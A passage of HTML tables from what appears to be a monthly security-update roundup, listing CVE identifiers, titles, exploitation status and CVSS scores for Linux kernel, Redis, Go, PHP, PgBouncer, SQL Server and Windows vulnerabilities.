href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-23479">CVE-2026-23479</a></td><td><p>redis-server use-after-free in unblock client flow may allow remote code execution</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-25588">CVE-2026-25588</a></td><td><p>RedisTimeSeries RESTORE invalid memory access may allow remote code execution</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-25589">CVE-2026-25589</a></td><td><p>RedisBloom RESTORE invalid memory access may allow remote code execution</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43474">CVE-2026-43474</a></td><td><p>fs: init flags_valid before calling vfs_fileattr_get</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43338">CVE-2026-43338</a></td><td><p>btrfs: reserve enough transaction items for qgroup ioctls</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2025-71302">CVE-2025-71302</a></td><td><p>drm/panthor: fix for dma-fence safe access rules</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43318">CVE-2026-43318</a></td><td><p>drm/amdgpu: fix sync handling in amdgpu_dma_buf_move_notify</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43309">CVE-2026-43309</a></td><td><p>md raid: fix hang when stopping arrays with metadata through dm-raid</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43416">CVE-2026-43416</a></td><td><p>powerpc, perf: Check that current-&gt;mm is alive before getting user callchain</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2025-71299">CVE-2025-71299</a></td><td><p>spi: cadence-quadspi: Parse DT for flashes with the rest of the DT parsing</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43284">CVE-2026-43284</a></td><td><p>xfrm: esp: avoid in-place decrypt on shared skb frags</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43352">CVE-2026-43352</a></td><td><p>i3c: mipi-i3c-hci: Correct RING_CTRL_ABORT handling in DMA dequeue</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43300">CVE-2026-43300</a></td><td><p>drm/panel: Fix a possible null-pointer dereference in jdi_panel_dsi_remove()</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43331">CVE-2026-43331</a></td><td><p>x86/kexec: Disable KCOV instrumentation after load_segments()</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43320">CVE-2026-43320</a></td><td><p>drm/amd/display: Fix dsc eDP issue</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43306">CVE-2026-43306</a></td><td><p>bpf: crypto: Use the correct destructor kfunc type</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43443">CVE-2026-43443</a></td><td><p>ASoC: amd: acp-mach-common: Add missing error check for clock acquisition</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43317">CVE-2026-43317</a></td><td><p>most: core: fix leak on early registration failure</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43319">CVE-2026-43319</a></td><td><p>spi: spidev: fix lock inversion between spi_lock and buf_lock</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43303">CVE-2026-43303</a></td><td><p>mm/page_alloc: clear page-&gt;private in free_pages_prepare()</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43344">CVE-2026-43344</a></td><td><p>perf/x86/intel/uncore: Fix die ID init and look up bugs</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43321">CVE-2026-43321</a></td><td><p>bpf: Properly mark live registers for indirect jumps</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43456">CVE-2026-43456</a></td><td><p>bonding: fix type confusion in bond_setup_by_slave()</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43305">CVE-2026-43305</a></td><td><p>drm/amd/display: Fix mismatched unlock for DMUB HW lock in HWSS fast path</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43298">CVE-2026-43298</a></td><td><p>drm/amdgpu: Skip vcn poison irq release on VF</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43299">CVE-2026-43299</a></td><td><p>btrfs: do not ASSERT() when the fs flips RO inside btrfs_repair_io_failure()</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43400">CVE-2026-43400</a></td><td><p>drm/amdgpu: add upper bound check on user inputs in signal ioctl</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43310">CVE-2026-43310</a></td><td><p>media: verisilicon: Avoid G2 bus error while decoding H.264 and HEVC</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43294">CVE-2026-43294</a></td><td><p>drm: renesas: rz-du: mipi_dsi: fix kernel panic when rebooting for some panels</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43353">CVE-2026-43353</a></td><td><p>i3c: mipi-i3c-hci: Fix race in DMA ring dequeue</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43292">CVE-2026-43292</a></td><td><p>mm/vmalloc: prevent RCU stalls in kasan_release_vmalloc_node</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43398">CVE-2026-43398</a></td><td><p>drm/amdgpu: add upper bound check on user inputs in wait ioctl</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43311">CVE-2026-43311</a></td><td><p>soc/tegra: pmc: Fix unsafe generic_handle_irq() call</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43421">CVE-2026-43421</a></td><td><p>usb: gadget: f_ncm: Fix net_device lifecycle with device_move</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43308">CVE-2026-43308</a></td><td><p>btrfs: don't BUG() on unexpected delayed ref type in run_one_delayed_ref()</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-37458">CVE-2026-37458</a></td><td><p></p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-37459">CVE-2026-37459</a></td><td><p></p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-33846">CVE-2026-33846</a></td><td><p>Gnutls: gnutls: denial of service via heap buffer overflow in dtls handshake fragment reassembly</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-6664">CVE-2026-6664</a></td><td><p>PgBouncer integer overflow in PgBouncer network packet parsing</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-6665">CVE-2026-6665</a></td><td><p>PgBouncer buffer overflow in SCRAM</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-6667">CVE-2026-6667</a></td><td><p>PgBouncer missing authorization check in KILL_CLIENT admin command</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>4.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-6666">CVE-2026-6666</a></td><td><p>PgBouncer crash in kill_pool_logins_server_error</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45130">CVE-2026-45130</a></td><td><p>Vim: Heap Buffer Overflow in spell file loading</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>6.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-44656">CVE-2026-44656</a></td><td><p>Vim: OS Command Injection via 'path' completion</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-33811">CVE-2026-33811</a></td><td><p>Crash when handling long CNAME response in net</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-33814">CVE-2026-33814</a></td><td><p>Infinite loop in HTTP/2 transport when given bad SETTINGS_MAX_FRAME_SIZE in net/http/internal/http2 in golang.org/x/net</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-39817">CVE-2026-39817</a></td><td><p>Invoking "go tool pack" does not sanitize output paths in cmd/go</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-39819">CVE-2026-39819</a></td><td><p>Invoking "go bug" follows symlinks in predictable temporary filenames in cmd/go</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-39820">CVE-2026-39820</a></td><td><p>Quadratic string concatentation in consumeComment in net/mail</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-39823">CVE-2026-39823</a></td><td><p>Bypass of meta content URL escaping causes XSS in html/template</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>6.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-39825">CVE-2026-39825</a></td><td><p>ReverseProxy forwards queries with more than urlmaxqueryparams parameters in net/http/httputil</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-39826">CVE-2026-39826</a></td><td><p>Escaper bypass leads to XSS in html/template</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>6.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-39836">CVE-2026-39836</a></td><td><p>Panic in Dial and LookupPort when handling NUL byte on Windows in net</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42499">CVE-2026-42499</a></td><td><p>Quadratic string concatenation in consumePhrase in net/mail</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42501">CVE-2026-42501</a></td><td><p>Malicious module proxy can bypass checksum database in cmd/go</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-33079">CVE-2026-33079</a></td><td><p>Mistune ReDoS in LINK_TITLE_RE allows denial of service with crafted Markdown titles</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-41889">CVE-2026-41889</a></td><td><p>pgx: SQL Injection via placeholder confusion with dollar quoted string literals</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42257">CVE-2026-42257</a></td><td><p>net-imap: Command Injection via "raw" arguments to multiple commands</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42258">CVE-2026-42258</a></td><td><p>net-imap: Command Injection via unvalidated Symbol inputs</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42256">CVE-2026-42256</a></td><td><p>net-imap: Denial of service via high iteration count for `SCRAM-*` authentication</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42246">CVE-2026-42246</a></td><td><p>net-imap vulnerable to STARTTLS stripping via invalid response timing</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45186">CVE-2026-45186</a></td><td><p></p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>2.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7261">CVE-2026-7261</a></td><td><p>SoapServer session-persisted object use-after-free via SOAP header fault</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7258">CVE-2026-7258</a></td><td><p>Out-of-bounds read in urldecode() on NetBSD</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-6722">CVE-2026-6722</a></td><td><p>Use-After-Free in SOAP using Apache map</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-6735">CVE-2026-6735</a></td><td><p>XSS within PHP-FPM status endpoint</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7262">CVE-2026-7262</a></td><td><p>NULL pointer dereference in SOAP apache:Map decoder with missing &lt;value&gt;</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2025-14179">CVE-2025-14179</a></td><td><p>SQL injection in pdo_firebird via NUL bytes in quoted strings</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7568">CVE-2026-7568</a></td><td><p>Signed integer overflow in metaphone()</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7259">CVE-2026-7259</a></td><td><p>Null pointer dereference in php_mb_check_encoding() via mb_ereg_search_init()</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43500">CVE-2026-43500</a></td><td><p>rxrpc: Also unshare DATA/RESPONSE packets when paged frags are present</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.8</p></td></tr></tbody></table><p></p><p></p><h3>SQL Server vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40370">CVE-2026-40370</a></td><td><p>SQL Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr></tbody></table><h3>Windows vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2025-54518">CVE-2025-54518</a></td><td><p>AMD: CVE-2025-54518 CPU OP Cache Corruption</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-41095">CVE-2026-41095</a></td><td><p>Data Deduplication Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-35424">CVE-2026-35424</a></td><td><p>Internet Key Exchange (IKE) Protocol Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40377">CVE-2026-40377</a></td><td><p>Microsoft Cryptographic Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34329">CVE-2026-34329</a></td><td><p>Microsoft Message Queuing (MSMQ) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-41097">CVE-2026-41097</a></td><td><p>Secure Boot Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-33839">CVE-2026-33839</a></td><td><p>Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-33840">CVE-2026-33840</a></td><td><p>Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34330">CVE-2026-34330</a></td><td><p>Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34331">CVE-2026-34331</a></td><td><p>Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-35423">CVE-2026-35423</a></td><td><p>Windows 11 Telnet Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-35438">CVE-2026-35438</a></td><td><p>Windows Admin Center Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34344">CVE-2026-34344</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34345">CVE-2026-34345</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-35416">CVE-2026-35416</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-41088">CVE-2026-41088</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34343">CVE-2026-34343</a></td><td><p>Windows Application Identity (AppID) Subsystem Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-35418">CVE-2026-35418</a></td><td><p>Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-33835">CVE-2026-33835</a></td><td><p>Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34337">CVE-2026-34337</a></td><td><p>Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40407">CVE-2026-40407</a></td><td><p>Windows Common Log File System Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40397">CVE-2026-40397</a></td><td><p>Windows Common Log File System Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-41096">CVE-2026-41096</a></td><td><p>Windows DNS Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42896">CVE-2026-42896</a></td><td><p>Windows DWM Core Library Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-35419">CVE-2026-35419</a></td><td><p>Windows DWM Core Library Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34336">CVE-2026-34336</a></td><td><p>Windows DWM Core Library Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-33834">CVE-2026-33834</a></td><td><p>Windows Event Logging Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-32209">CVE-2026-32209</a></td><td><p>Windows Filtering Platform (WFP) Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>4.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-35421">CVE-2026-35421</a></td><td><p>Windows GDI Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40403">CVE-2026-40403</a></td><td><p>Windows Graphics Component Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40402">CVE-2026-40402</a></td><td><p>Windows Hyper-V Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-33841">CVE-2026-33841</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-35420">CVE-2026-35420</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40369">CVE-2026-40369</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34332">CVE-2026-34332</a></td><td><p>Windows Kernel-Mode Driver Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34339">CVE-2026-34339</a></td><td><p>Windows Lightweight Directory Access Protocol (LDAP) Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34341">CVE-2026-34341</a></td><td><p>Windows Link-Layer Discovery Protocol (LLDP) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-33838">CVE-2026-33838</a></td><td><p>Windows Message Queuing (MSMQ) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-32161">CVE-2026-32161</a></td><td><p>Windows Native WiFi Miniport Driver Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-41089">CVE-2026-41089</a></td><td><p>Windows Netlogon Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34342">CVE-2026-34342</a></td><td><p>Windows Print Spooler Elevation of Privilege 